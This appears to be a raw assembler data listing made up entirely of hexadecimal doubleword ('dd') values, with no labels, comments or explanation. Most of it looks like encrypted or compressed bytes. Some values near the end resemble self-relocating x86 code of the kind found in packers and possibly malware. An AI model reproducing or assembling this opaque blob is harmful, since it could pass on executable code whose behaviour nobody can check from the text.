595E16FFh, 13CBB062h, 0B211170Eh dd 5AAFBB8Fh, 0DDE2352Eh, 2940F8DFh, 0ADB36D4Fh, 8192794Bh dd 37AB9EB3h, 0B0B56051h, 0D9EF4469h, 116E2321h, 0E28E0C7h dd 0EA013EE2h, 68496CABh, 0E21D9CFh, 1116D0B4h, 26696F1Ah dd 2679B77Ch, 0ACAAAF02h, 24F610CAh, 20838842h, 0CE4D6046h dd 924778BBh, 0E6292FDAh, 29BA36C9h, 4690EDA2h, 5990AA64h dd 0DEE39D7Fh, 0CE98A48Eh, 9F4A0347h, 5CDB4599h, 0DD982245h dd 9BEE2E59h, 8F224584h, 0E721D9D9h, 43418E94h, 5289A35Dh dd 0D9C1F013h, 0FFE221D9h, 744B4247h, 3B211B21h, 0D5DA947Ah dd 0CB2E33DEh, 4E540CF1h, 0D9D9A60Bh, 0B70CC121h, 0ABC57F65h dd 353AF2D9h, 0AD915037h, 0DB4348F3h, 4EB3D92h, 765B354Ch dd 2D84A7BEh, 4921D9DAh, 0B08EF0F6h, 53D42D72h, 0A89Dh dd 0EED0AA00h, 32382F34h, 88492B10h, 3C41ECA6h, 9DA25C3Eh dd 4597EC35h, 0B18FA963h, 5434E675h, 2BF497C3h, 56EDC312h dd 7BCC50h, 0C6160000h, 880A049Ah, 0DFE7EBA3h, 3EF6D99Fh dd 91974239h, 549EB197h, 5BF67E3Eh, 8B898E39h, 0E8E6EBA5h dd 0D0DBEF02h, 635264D3h, 0CEB5B3B8h, 0C6806416h, 0B31059C1h dd 0C7CC8469h, 0C00925D0h, 79331963h, 4145815Fh, 2E6E5434h dd 0B8000000h, 0D9F04FD1h, 5AB304B6h, 22277A2Eh, 0DA8ED2DBh dd 0B50A6B21h, 873F24FEh, 0F44F7B81h, 618D53D4h, 9A993CE1h dd 93171D86h, 0C6h, 0F04FD1DDh, 0B1CFFD9h, 2F883576h, 0C1C772E7h dd 2D973F62h, 72B12E5Ah, 0DA25624Fh, 0B2C91C21h, 0DA25228Fh dd 3095C21h, 0EEA88AE4h, 4247F2E9h, 8BA55D44h, 2D13D2B9h dd 0C5C3C873h, 0B92126DEh, 8A641370h, 0EBE5EBA3h, 54324C04h dd 53D49616h, 0EFA78C66h, 16EFF3EAh, 308420BDh, 5881050Bh dd 0CB000000h, 0D7EE4DD1h, 455E1DB4h, 41469956h, 0BAA0B3FAh dd 0ADD9F0A9h, 0DA3C6502h, 634E714Ah, 1BA9BAEBh, 0A2171DC8h dd 0BE7DA14Dh, 2EE6CDA7h, 0EA3C629h, 68A9BAEBh, 5646A15h dd 45A7EFE2h, 4B2D07D6h, 8F958C91h, 7A341670h, 0A47EB5CFh dd 90005BDh, 0CD903h, 0C66F0000h, 484E08ECh, 2C1Eh, 462BB400h dd 3FEAA287h, 9D553C3Ah, 0BCAB183h, 70676C24h, 0BC68C0C5h dd 99337A7Fh, 0D6D6455Dh, 84C21875h, 0AFABCB15h, 0C9Ch dd 0E54BD1F9h, 949944FCh, 1194FB4Dh, 0F1B296A0h, 0A0A55008h dd 5BDA2h, 0B8FB588Dh, 3BEA47A8h, 0D4BD7C61h, 7520171Ch dd 0D23D696Fh, 5756DD9Fh, 0A0000000h, 0D5EC4BD1h, 0BAA0FFB2h dd 7A5D3729h, 0C0C6BDC2h, 4C6BF5A1h, 24849363h, 0C4C7EA0Dh dd 5CAF29B9h, 0A49ACB1h, 0B9C4CAE7h, 5B61B429h, 0C88FFB18h dd 0C0FF4A80h, 4790149Dh, 65176A80h, 4DC2C880h, 0FB6C9AF0h dd 0D2ACFD47h, 0A92D33EBh, 2D7h, 41F9DCB6h, 4BD1193Bh dd 9D4800E5h, 0D71639C3h, 0B97C85ABh, 50097B7h, 29B9B7ACh dd 57797FD2h, 0B18B452Bh, 47F92528h, 98F5779Ch, 7F843C23h dd 442BDD88h, 1F64868Ch, 5734DEF3h, 0D0D60241h, 7B445A6Eh dd 0E55D544Fh, 0C61926B9h, 313CC0h, 0D1860000h, 0DE02E54Bh dd 0BAA0F6BBh, 822D8029h, 0ECC6FDD7h, 0E9484E08h, 0BAA0E8C6h dd 613B8E29h, 4C06ECC6h, 2BE5E746h, 0E8B48E46h, 35FBA2h dd 0D1910000h, 96D5EC4Bh, 0BAA13E73h, 0DFE53829h, 0BA3C6BDh dd 7829BAA1h, 9AC63711h, 0D193CD69h, 0E140465Fh, 87462BDFh dd 653FEAA2h, 92E09AC6h, 499810Ah, 0E27BC1FEh, 73E79799h dd 607A3416h, 0EAC7EA29h, 94CF5D67h, 0F39E583Ah, 9FA45C41h dd 0C2A8A2A8h, 15416408h, 9073B7E9h, 5E03D4D8h, 0B4969096h dd 0DB4E56FAh, 0CE38799Ch, 0EB3ECF5Ch, 0C91370E5h, 0E61229E3h dd 0E5CBE4CFh, 2B2F262Bh, 76591637h, 100D13BEh, 0E4CB8C72h dd 0A7DD812Ch, 9DF2E7EEh, 0F6AB654Bh, 0A1B87258h, 37723F62h dd 4831CF5Dh, 0BD948B90h, 5578646Ah, 0C6DD977Bh, 5D370EA3h dd 0F1568CFh, 85293315h, 0F3CF5D36h, 6BF4FCA0h, 24DEC416h dd 0B0926C6Fh, 0F4FAF1F6h, 530518FAh, 0E41C7BB2h, 65DBE08Bh dd 3895D2A5h, 10C8AF89h, 34DBD6F9h, 50A3CF5Dh, 0AD6E504Ah dd 48620DC7h, 32D69076h, 2D6C9274h, 5D34A70Ah, 767CCFCFh dd 5D347B33h, 93AAFDCFh, 171CD4B9h, 442E1A20h, 0F2D8227Fh dd 0BFE22138h, 0CF5D34F2h, 3633398Ch, 54F8B298h, 794A601Eh dd 49416D24h, 0C2F9F1A6h, 341A141Ah, 4127C57Ah, 4325E387h dd 54DDE589h, 0A1C7ADFFh, 5CEF337Eh, 0C9E80BCFh, 0B5CF5CEEh dd 8D388B62h, 0FDB59C76h, 0EEEEC3E6h, 3588CF5Ch, 0F02F322Fh dd 5CEEE4CDh, 30479ACFh, 5CEEA40Dh, 8187DACFh, 1B9AC65Fh dd 0AF30457Bh, 8D736D73h, 1C6D4467h, 0B60929BAh, 1639310Bh dd 959B533Ch, 6487C673h, 29BAA14Dh, 7CD0D629h, 0F2AC9296h dd 714BF6EDh, 0F31F6228h, 415734DEh, 0CFA24515h, 382F34ECh dd 0C2FDC734h, 4B38BCh, 6B450000h, 0A2C4CA82h, 14EE4DD1h dd 0A10BA3C6h, 1A6D29BAh, 89432903h, 0C4C66183h, 0C733442Bh dd 19D3B90Eh, 0A7191D14h, 6E8530A7h, 0F3A50C2Fh, 7ED129B9h dd 65E85678h, 0E5A48Bh, 75979D48h, 4E08ECC6h, 224C5249h dd 38h, 0EE4DD1B8h, 0DC9AC614h, 0E564EEE6h, 0CC38F94Eh dd 0D827D1C8h, 5E5073D2h, 2329BA4Ah, 9AC6E2BCh, 0ADC037AEh dd 8FEEF445h, 0EEF32450h, 0DD74AA2Dh, 442BB5D7h, 0A2E8B28Ch dd 0BAAFB6E2h, 0AEDEC029h, 37FFFFFCh, 0B7BC745Dh, 0C698BAC0h dd 484D05ECh, 0A5084B51h, 9C29BAA0h, 11C9AC70h, 210FBC0Ch dd 2BEBA821h, 0E9BBD580h, 3F57F304h, 67B87957h, 701BC67Eh dd 0BAF71A59h, 0C429BAA0h, 0D71E6B71h, 29BAA0DAh, 252AE2C9h dd 0A1129FC2h, 196C29BAh, 0C6CB8567h, 34EA3D0h, 0E0034259h dd 29BAA0D1h, 0DF545AADh, 9B533882h, 0B7C8AF81h, 9CF04D56h dd 3E5803B8h, 0C0D60C12h, 67426A82h, 1C21D9BEh, 0B8CF7A25h dd 3B40FADEh, 0F7A25A3Dh, 1D5DA4F1h, 3A6BEC3Bh, 0F82684D9h dd 13166202h, 224h, 0A0CCE25Dh, 0AB7529BAh, 0F736758Ch dd 0BAA0DDD4h, 7B365929h, 329BAA0h, 0F72DD9B0h, 0CF993F47h dd 1A5D630Eh, 2E5A7EACh, 69486B2Ah, 0D521DA81h, 0DA80FFB2h dd 4D247721h, 63354FFAh, 0D5AFC67Eh, 0E43137F1h, 0AC2A781h dd 6B230A04h, 0C9816866h, 37EFD8B2h, 0E2E7A185h, 4098E5EBh dd 193C53D0h, 267A9D41h, 8B64B7h, 91E60F30h, 0D4F7AA8h dd 0C1A90000h, 341BED07h, 0AB90627Ch, 1E07D9F3h, 987A4C66h dd 466FC4DEh, 1B35EFD1h, 91AB6549h, 0A24DCBFh, 7E985238h dd 2190B39Eh, 5D21D447h, 452B51EBh, 0E22E868Bh, 0D40B2E45h dd 222E5CE9h, 0F9DEB8CFh, 70552741h, 5588294Ch, 9BEE21D4h dd 4988EBF0h, 0D4558B26h, 0B499F321h, 5500F7FCh, 55961B3Eh dd 8DE021D4h, 0E6A78D87h, 989D4802h, 3C53D040h, 74709919h dd 0B38CDF26h, 0E615472Eh, 0CAACDAC3h, 2E00000Ch, 0A0728C46h dd 15E701B9h, 8C5E7830h, 0FFD1EBA3h, 0F449631Dh, 0BA7456CBh dd 30EACEA0h, 0A9614416h, 1DD7BD8Fh, 15382303h, 21D4459Ch dd 2BD670E2h, 23868B45h, 0A8AE6649h, 586FCC54h, 5AB4C935h dd 0E5FC4F2Eh, 676C240Bh, 36086A70h, 0D1AC3D50h, 81141E96h dd 346A476Ah, 0C11421DAh, 0E6C0FF16h, 624F4A04h, 1C21DA34h dd 3561C3C9h, 850DF3EBh, 0E197A641h, 0EEFC1F36h, 68267C5Ch dd 0DB2B86A9h, 5329B3h, 7F643E55h, 0EFD6B0C7h, 98CF3137h dd 52A65C6Ch, 0AAB037D5h, 0E13CBB0h, 6B702A10h, 0FD50D13h dd 0B0012488h, 0C629B41Fh, 50C56F73h, 0AE889F4Ah, 6B230AC9h dd 385BBAC0h, 2E54327Ah, 4C06EAC4h, 2B4A5047h, 8500FFD8h dd 3019EDF5h, 0BF402h, 621C0400h, 0D78F7648h, 4E06EBBDh dd 0C1796234h, 39F3D5A7h, 2CE1CA1Fh, 0A476904Ah, 1AEC06C0h dd 93657F37h, 0F9D9F3ADh, 45C6EB0Eh, 3EB021D4h, 8B452BA4h dd 45E22E86h, 2F15EF2Eh, 0C62C6F75h, 302E5A7Fh, 0E19AC6DDh dd 0B9930B20h, 0BA8CEEF4h, 2F011BD3h, 7E78924Ah, 4D6487C6h dd 0E929BAA1h, 0BAA0EBC6h, 69409329h, 54BC1016h, 0B99DC0D7h dd 0CF2E5A82h, 7F446D90h, 0E73A21DAh, 8368C2E1h, 0D41B20CBh dd 21DA7ED9h, 50AE0364h, 53D4C812h, 0ECA68862h, 72FFB2D5h dd 247721DAh, 959A1Eh, 2BE40000h, 0E49C8544h, 383DE8DFh dd 5F19FBD5h, 0C0785F59h, 1CD4BDBBh, 5275B417h, 29BAA15Fh dd 7C355817h, 229BAA0h, 4FE04AFh, 0DBD6F91Dh, 0A329BAA0h dd 5F8BA550h, 385B72B1h, 2E5A9F56h, 2BE3C6A0h, 0D8DE9679h dd 0DFBD0DB9h, 0DA0BAC5h, 28908962h, 0C4ADEDEFh, 0AF896h dd 5E180000h, 0D38B7244h, 4A02E7B9h, 0BD755E30h, 35EFD1A3h dd 281DC61Bh, 0A0728C46h, 16E802BCh, 8F617B33h, 0F5D5EFA9h dd 44CAE70Ah, 42B421D4h, 8C442BA8h, 557072h, 2B060000h dd 2F878C44h, 0EC2B42E1h, 0CC2A92C0h, 262C9B5Dh, 5A5577E3h dd 0A57ED12Eh, 0EDEF67C2h, 9ABCEAD3h, 5E00000Ah, 0D0A2BC76h dd 451731E9h, 0BC8EA860h, 2F011BD3h, 2479934Dh, 0EAA486BBh dd 601AFED0h, 0D9917446h, 4D07EDBFh, 45685333h, 21D4446Ch dd 2B06A012h, 88868B45h, 6EE3E8A2h, 5C8AE03Dh, 775434E6h dd 247h, 1E42B3C1h, 8E482EF2h, 0D0E79289h, 5AA5B9ADh, 0F1D52F2Eh dd 903B3237h, 0B43A4D79h, 0FBA43034h, 0D9ACD9D8h, 0A752A521h dd 53BDA4A1h, 0E9D24C15h, 696E260Fh, 8186C72h, 0A1F1142Bh dd 9739E358h, 39E73F44h, 15C0E3FAh, 713AC296h, 0EEC8071Eh dd 0AB634C0Bh, 16FDFB00h, 0B3ADB35Eh, 27F913CDh, 0D1AE8741h dd 0E6DA8327h, 9E7CFFDh, 29110000h, 9C83556Fh, 13F8CAE4h dd 866F415Bh, 0E2B4CEh, 0EED72C46h, 839D5739h, 0F913CDB1h dd 728C4427h, 0E600BAA0h, 0B9F81B06h, 0C521D443h, 442BB953h dd 0E12F878Ch, 20082B42h, 562E5CEAh, 2E12EC03h, 0A4885A74h dd 9D4800E3h dd 0FAD04098h, 2362104h, 0DD957EABh, 8B36E1D8h, 0A2515174h dd 0B4072674h, 25DFC39Dh, 9B55390Bh, 0F8B29896h, 14F4481Fh dd 4A7861E6h, 96Dh, 0CFE9A38Bh, 445E16FDh, 0BBD58D72h dd 2E4800E9h, 0A6C07A5Ch, 0D1B36851h, 472BFD17h, 0BEA1738Dh dd 341AEC06h, 9580607Ah, 0D4433F72h, 2BC53721h, 0A48862EDh dd 18A1E4EAh, 9B29BAA1h, 0E82116Eh, 0EB0E2502h, 2E5AA2B7h dd 0AC2A781h, 775C0E05h, 0BDC3BABFh, 0F5344B9Eh, 7A7F391Bh dd 0DADF977Ch, 383238E3h, 55819B53h, 0C57F65CBh, 71EC9C0h dd 780C81E4h, 9BB20526h, 721DBC1h, 436E91D0h, 3B29B7F5h dd 2E8E2E8h, 9D9E6F48h, 0D2BBE611h, 8D8A4h, 7E382000h dd 0F3AB9264h, 6A2207D9h, 0DD957E50h, 550FF1C3h, 48FDE63Bh dd 0C092AC66h, 360822DCh, 0AF819B53h, 15F50FC9h, 42AA072Ah dd 62D421D4h, 0A0CBE2C8h, 916B29BAh, 0F3EDF3ADh, 0B06A4C0Dh dd 0B45F17FEh, 22DAC39Dh, 0EC0F261Dh, 29BAA0C5h, 0F6585EB1h dd 545D80BFh, 2A29BAA1h, 2C31E9D0h, 30848A35h, 522C43E0h dd 0BBB2B76Fh, 696E2609h, 0EA0D6C72h, 2E5AEEEBh, 964E310Bh dd 75949A91h, 8DCC0B22h, 0DA53476Ah, 5BF10221h, 4AB83EBh dd 0DAD4DA2Dh, 1B0D3F7h, 7D21DA80h, 80853F23h, 1933DE89h dd 0A7AC6447h, 7E041844h, 0CFC8942h, 6CDFD2F5h, 449721DAh dd 81B143Eh, 936D0000h, 0B2989BACh, 4AAA77C6h, 0D177999Fh dd 0B6D9F04Fh, 2E5A9010h, 0E72E3386h, 21DA6FC6h, 63B91677h dd 53D4DB27h, 15C50h, 482B9A00h, 0A98D8B90h, 6ECEAEFh dd 6649474Ch, 7DA0C4A7h, 29BAA134h, 0A14CF74Ah, 13D2B587h dd 7B727731h, 282DE7C9h, 29818631h, 512B42E1h, 0B7AEB36Dh dd 62672105h, 0E306656Bh, 29BAA0A6h, 52484DA0h, 9B7EC825h dd 14F7C9E3h, 0B510575Ch, 5629BAA0h, 0B6B4B971h, 0A11419D1h dd 22CC176Ch, 0FE998F5h, 0D0E10428h, 0A629BAA0h, 0A8A2A853h dd 0CAF60DC5h, 826BB367h, 0CACEC5CAh, 898F0204h, 0A813FB27h dd 0BA262C85h, 70935229h, 29BA2641h, 943FEA3Dh, 2BAA37Dh dd 25E9C8EBh, 429529BAh, 0FFBADD3Ch, 7729BA25h, 3D211F24h dd 0B3976983h, 10F6F4F9h, 2E5B5156h, 36F622D1h, 0C6806214h dd 0FE19BBC2h, 601AFEF8h, 0D6907446h, 545D80BFh, 2A29B9BAh dd 0BA69486Bh, 0C21529B9h, 6CC41117h, 4D7087A4h, 2E59D59Dh dd 946680D3h, 8EF1F6B0h, 0A6852C4Fh, 9EF121D9h, 5959279Ah dd 9399652Eh, 0A0FFD73Fh, 96C79E7Eh, 0FAA55F43h, 0A015384Fh dd 0D621D9C1h, 0EE753C2Ah, 0D37EAB0Bh, 56ABD8CEh, 7C5F2004h dd 2DFF19C4h, 328A8F49h, 0A8674AEEh, 5B600BC3h, 7FA2B964h dd 267A8313h, 0B36D532Dh, 89C65EAEh, 5E0C2B70h, 3B8EADB3h dd 0B16B4F21h, 0A2866097h, 0E6ECE3E8h, 375109ECh, 0AECC63Dh dd 50544B50h, 35A6C2Ch, 2C808673h, 0F9B8DBE4h, 8529B9E3h dd 4D708732h, 2E59C709h, 29272C7Fh, 76708A42h, 4F07ECC6h dd 0A29F549h, 0A0EFBE05h, 0C9AC29BAh, 290E0C11h, 23CE886Ah dd 0DA37EC1Eh, 0C9268797h, 34EA3773h, 416054h, 2BAA0000h dd 9B758C44h, 0FEF5FAB2h, 4D64ABF8h, 4E29BAA1h, 0AEACB169h dd 0DB0D12CCh, 1C2DC926h, 6A772649h, 88B55F0Ah, 42FAE12Bh dd 88640D28h, 0AFC629B9h, 4730F1D5h, 0E8DFE48Fh, 0FF96B8E2h dd 2B4EFFFFh, 0D8B18B45h, 0EE4DD1B2h, 1FC9C314h, 5734DEF3h dd 461Ch, 65FD2900h, 0B56C4D9Ah, 0D147696Fh, 0C614EE4Dh dd 0BAA10EA3h, 0FE156829h, 82873F24h, 0C663858Bh, 8C442BC4h dd 4874975h, 76AD11B7h, 1F25DDC4h, 0C6A2E8FDh, 3569F9Ah dd 6960651Fh, 0CACE3965h, 259AC4h, 0D1300000h, 0C614EE4Dh dd 0BAA10EA3h, 320C7329h, 0CBAD87C6h, 2BE90B11h, 36758C44h dd 0BAA09E13h, 7F85D829h, 0C6A2E85Dh, 474C06ECh, 0EC94C50h dd 5190CE77h, 0B46C514Bh, 9E4E719Dh, 31330780h, 6569C03Eh dd 1A20529Fh, 0FB2B86CDh, 967829B9h, 2F34ECD5h, 8A888D38h dd 73E6EBA3h, 0F49EE13Eh, 0DFD0B1DDh, 26AA146Ah, 3EABFB81h dd 989E4956h, 977CCE23h, 4F8EC5DFh, 0BA79852Ch, 238EB129h dd 5B29BA7Ah, 0D8DE3108h, 0BA89AF95h, 3B7F6129h, 15FFFFF3h dd 70859AC6h, 691936B7h, 5E826963h, 0BA46763Bh, 2AD0029h dd 0D054BCE8h, 708732ECh, 5A5DB14Dh, 6A4DA72Eh, 0BB6ADB2h dd 54EEBF06h, 0EE4F21DAh, 0AA0F3B91h, 0E4D53D4h, 0DA4CC6EBh dd 465DB021h, 0DA4C8E23h, 8F95E821h, 70Bh, 1FB5500h, 91000000h dd 0D9F04FD1h, 5ABE48B6h, 767BCE2Eh, 0BFD99178h, 0DA81F3A4h dd 0DD957821h, 0CFB28CC3h, 34171117h, 3B01777Ch, 0FEE4BEDDh dd 74C93E44h, 6D873F22h, 57FBB59Bh, 0E2F9B399h, 0D8FB1F08h dd 21DA81D9h, 0A2A752A5h, 81951C3Fh, 8EE121DAh, 0E9F1DDE3h dd 0D3B90360h, 1F9E6419h, 54B4DEE3h, 1040Ch, 9AC65600h dd 0C2C4A39Ah, 32ECCE11h, 858B362Dh, 704AE931h, 0A10BA3C6h dd 0B87829BAh, 0C1B8CE8Eh, 431DC8D5h, 48B0C4C6h, 8B452BDAh dd 4C9AC6B1h, 63645EEAh, 0BABF7760h, 0C51218C3h, 90A18862h dd 595559Bh, 0E5EB9634h, 0EE4DD1C3h, 5ECC614h, 4B51484Dh dd 0F31FEFE9h, 415734DEh, 0A0D2DF02h, 59AC26BAh, 46CF53h dd 0D1190000h, 98D7EE4Dh, 0BAA13C75h, 0AE964229h, 0E1C3D87Ch dd 0F3151BC6h, 4D6487C6h, 2929BAA1h, 4E71D0D6h, 29BAA163h dd 72B1C81Bh, 0BAA1624Fh, 17C91C29h, 7C737830h, 0C4C65476h dd 0B28C442Bh, 3FFBA2E8h, 91000000h, 14EE4DD1h, 4D6487C6h dd 2929BAA1h, 0A16A476Ah, 0C11429BAh, 72B11016h, 7D63D346h dd 0B894CBBAh, 1FCCC6B6h, 0DB1E24CFh, 29BA3BD6h, 0EAA48660h dd 0D4E8EEE5h, 0C4C6936Dh, 0B28C442Bh, 9AC6A2E8h, 47C09FAEh dd 0F6BBDE2Eh, 8029BA5Dh, 527C822Dh, 0FFFFFEF3h, 8B452BE8h dd 0E8A28886h, 0BA7EA2CEh, 5B721DD5h, 0A0B8F91Ch, 6BBE29BAh dd 1BE30665h, 1D2E5AA7h, 2F7EC5CAh, 0E21DA9Bh, 0CCFA50ADh dd 0E753D4E0h, 34h, 844FD131h, 0BAA15061h, 0AD674B29h dd 0C1D883D6h, 5AA0549Eh, 5257AA2Eh, 0DA9FA20Bh, 0E53A9B21h dd 708022Eh, 0E2BAA732h, 2CA8D6DCh, 0D4C353D4h, 0D000000h dd 868B452Bh, 0E7ECA688h, 324903E9h, 783019F3h, 30817C73h dd 4629BAA1h, 0A2A0EDF3h, 11EB02BCh, 756C712Bh, 1F25DFC3h dd 0A4D7A2BDh, 15EF29BAh, 0E3C57731h, 43292329h, 0B79D6F89h dd 70A0F8FDh, 0AD799CB3h, 0AB2E5A7Eh, 0E123E58h, 5E401A31h dd 0A2A89FA4h, 0B2D80443h, 0EBFEBC85h, 48971A3Dh, 8CDF21DAh dd 5E98DBE1h, 982677C5h, 0BCFBB6D9h, 308329B7h, 0B1946E85h dd 0F7FDF4F9h, 22DCBE98h, 9A543608h, 11D586C1h, 2E17E6h dd 265h, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah, 365008F1h dd 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h, 3C22F40Eh dd 9D886882h, 0D43C377Ah, 33CD3F21h, 788F492Bh, 0FE03BB9Eh dd 0B46C5507h, 947A4CAEh, 0D1C6C0DAh, 0B6D9F04Fh, 2E5AA03Ch dd 0CA8468C2h, 0DAD31A1Fh, 0C121DA9Fh, 0D02025DFh, 206BC6DDh dd 0CCB567D5h, 0EC190F14h, 0F13C4C97h, 7A9BD0C5h, 0AFB58F72h dd 5B87E53Ah, 7453D439h, 0D1h, 6487C6BEh, 29BAA14Dh, 0D6D0D629h dd 0F31F36F0h, 0ADD09EDBh, 29B9CE04h, 3A23277Ah, 290BBDE2h dd 1E1C696Fh, 9624293Ch, 0B4115116h, 0BCBD0409h, 9229B9C4h dd 161BD3B8h, 0CD876D1Fh, 0D1CBD1C8h, 451731EBh, 0BA9E5Fh dd 12123E55h, 2422C83h, 0F5A05A3Eh, 0C64AA2EFh, 0F72F5269h dd 712E59B3h, 0F3CD041Eh, 0FC50560Eh, 0DD001714h, 26772A7Ah dd 0C3EE11D0h, 0BB29B84Ch, 0CCA6BD68h, 441630EAh, 9ACFA862h dd 2FE61145h, 1571846h, 0B9A10000h, 2C13E5FFh, 0A3885A74h dd 16FFD1EBh, 9072445Eh, 7E67BCD6h, 132DE7C9h, 89A35D41h dd 21CD4B7h, 76904A30h, 2988AB96h, 5521D43Bh, 492B49E3h dd 643E758Fh, 0CDC4C981h, 26E7CDC7h, 0C0DA853Dh, 8B452BC6h dd 7CA28886h, 0BAA15859h, 0C7CB1E29h, 64CE1E2h, 0CFE69140h dd 0F1446D90h, 0E73A29B9h, 1C487FE1h, 70D24CBCh, 0C07A5CA7h dd 1319C4BBh, 0BBD251BFh, 59A90A98h, 0EA01542Eh, 6B712910h dd 924C320Ch, 6C0A678h, 0C867A901h, 0F3928EB1h, 75C8267Bh dd 15A36D9Ch, 0EF1D06E6h, 0B5h, 87A15B43h, 0FC16CEB5h dd 738D452Ah, 0E600B8A1h, 5E783214h, 896BA009h, 0FFE3B5CFh dd 76592B45h, 0ECD2A4BEh, 4D381832h, 0D439872Ah, 0E37DEF21h dd 0D9F04FD1h, 5CEB86B6h, 0A4A9FC2Eh, 0CB856741h, 2BE5CBC5h dd 98593F11h, 484DF8B2h, 6E260BE5h, 296C7269h, 4D2F7322h dd 6A4F2948h, 0DA37ACB2h, 0D9F0AA90h, 5A5F19FFh, 29FB5D63h dd 0FD703043h, 539740CEh, 0BCA5A3A8h, 5B6018FDh, 0B5DCD5F8h dd 4FA2AE70h, 0F6F4F9A4h, 56545911h, 61B1B670h, 0A6E463Ch dd 0DC9D7DBDh, 65923C87h, 1ED8BE08h, 924C3204h, 0F9B8A17Bh dd 0A8AE5913h, 32D5Bh, 24C30000h, 89432B66h, 0E6A08684h dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h dd 25DDC2C0h, 833B2220h, 0EC836D7Eh, 24148904h, 0C281E289h dd 4, 8704EA83h, 535C2414h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 0AC68242Ch, 8900007Dh, 0D168240Ch, 8B07E64Ch, 0C483242Ch dd 0C8B5404h, 4C48124h, 53000000h, 8BBh, 89CB0100h, 241C8B2Bh dd 8B04C483h, 8951240Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 2434FF5Ch, 4C4835Dh, 0FA1872E9h, 0B8DB8DFFh, 7E667F2h dd 0C650C503h, 0E0075985h, 25684707h, 0FFCF3817h, 0E02F01B5h dd 0F8858D07h, 0FF07E039h, 8DD88BD0h, 0E0021585h, 4685007h dd 0FF000001h, 5985C6D3h, 5307E007h, 7F8BF68h, 1B5FF83h dd 8D07E02Fh, 0E039F885h, 89D0FF07h, 0E64A9385h, 0F5BD8307h dd 7E02Fh, 0B840Fh, 9D8B0000h, 7E01949h, 5E9h, 0BB00h dd 680000h, 8D000001h, 0E64A97B5h, 0FF535607h, 0E0235995h dd 97B58D07h, 307E64Ah, 1E9F0h, 804E0000h, 840F5C3Eh, 9 dd 0F2F3E80h, 0FFFFED85h, 6C6FFh, 4A97858Dh, 0FF5007E6h dd 0E64A9395h, 0E0FF5807h, 456507F1h, 73E3B0DCh, 57189DD0h dd 0D7A973Eh, 487191A2h, 6396DD02h, 6C3A43BCh, 3A93A944h dd 53455DD8h, 437B4A8Bh, 1BE65DA7h, 50C94987h, 37A8C1AFh dd 2DA0688Eh, 70B7E3C0h, 501C3BAh, 152D8DAAh, 4D43C433h dd 396E996Bh, 3C461E84h, 4A823570h, 4142FA73h, 6A6E8D8Dh dd 6A07E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 87A39AC3h, 23A99D8Bh, 8D8907E0h, 7E01815h dd 9960BBEh, 4985C707h, 1807E020h, 6A000064h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0C7E4C356h, 0E022C585h, 7, 0A1BD8B00h, 0FF07E00Fh, 0E023C5B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 85B529B5h, 0B807E00Fh, 0D9E1A05h, 209195FFh dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0E7872FC3h, 1978B68h, 0E0243DBDh, 0DE807h dd 0BABC0000h, 3F8488EEh, 0FD39173Eh, 0E80D6223h, 5, 0C6B1BA9h dd 0C58D8903h, 5F07E005h, 0F9BD2958h, 6A07E020h, 0A995FF00h dd 8B07E018h, 451CEBC0h, 0ACADB1D9h, 0F0ACCC43h, 9072C27Dh dd 2E00FC6Dh, 0CDD0A128h, 5DBC7121h, 8DBBC88Ah, 0E66B668Dh dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 158D89DBh, 6A07E018h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5148C355h dd 85C7C68Bh, 7E02049h, 72E0h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 41C35646h, 293DBD8Bh, 952907E0h dd 7E0170Dh, 22C585C7h, 7E0h, 89600000h, 0E01D09BDh, 81952907h dd 6107E000h, 2A5DB5FFh, 0FE907E0h, 41000000h, 3CE4AA55h dd 0B3EC8497h, 382373DBh, 95FF13E2h, 7E02091h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CC35545h, 6AC18B07h dd 0A995FF00h, 8B07E018h, 1B2AEBC0h, 0E1A0E7CFh, 0D740C3C1h dd 0C1C1EF91h, 1C8274A3h, 4230BE01h, 71BFDF99h, 0F25C7D72h dd 163E5C69h, 0DBEF8B80h, 0B3B3E47Fh, 11E8D0h, 7DAF0000h dd 0E43A18F7h, 3185748Ch, 0CB0E8670h, 8BB6CB2Ah, 0E00461BDh dd 0B5015A07h, 7E02E69h, 6BD0C281h, 8B660000h, 1ACCBEC7h dd 8BFC0000h, 93F3811Ah, 0F3FA264h, 48Fh, 0BEB86600h, 0CDC381B7h dd 293323DFh, 0E010799Dh, 0B2F38107h, 95A9E32h, 0E00DF1B5h dd 0D5B05307h, 8D8B028Fh, 7E01B6Dh, 2904EA83h, 0E0119D8Dh dd 1EE8107h, 0F000000h, 1C85h, 0F9958900h, 0E907E00Fh dd 22h, 85AC6FBDh, 26FF339h, 2D1BBB47h, 60904F8Ch, 0FF95E9C9h dd 5F0CFFFFh, 378BC87Ah, 0A74EC530h, 13E8D3D0h, 0EE000000h dd 95842E24h, 0FA63C6E7h, 308B73C3h, 2D774FC9h, 816694F0h dd 59E417EEh, 29298D89h, 0C18107E0h, 5EAEh, 0BFh, 7CEE8100h dd 0FF457ADAh, 890F0F34h, 3, 5A2AE380h, 14E9h, 968BD900h dd 51FC2CD9h, 25624BFDh, 0B029467Ah, 4525CFC9h, 0C7EA817Fh dd 0BE3B351Fh, 16178D7Eh, 1C32EA81h, 0EA813024h, 1F3A53DCh dd 9CF0BB66h, 48FF852h, 81B58B39h, 0E907E01Bh, 5, 0AB2746B0h dd 2EF8341h, 2B60F860h, 0E025998Dh, 6161F507h, 8B0F4F4Fh dd 0 dd 0A1F8FF81h, 850FFFFFh, 0FFFFFF87h, 13E8F5h, 1FC80000h dd 0EDF0BCAEh, 92B5920Dh, 9725910Dh, 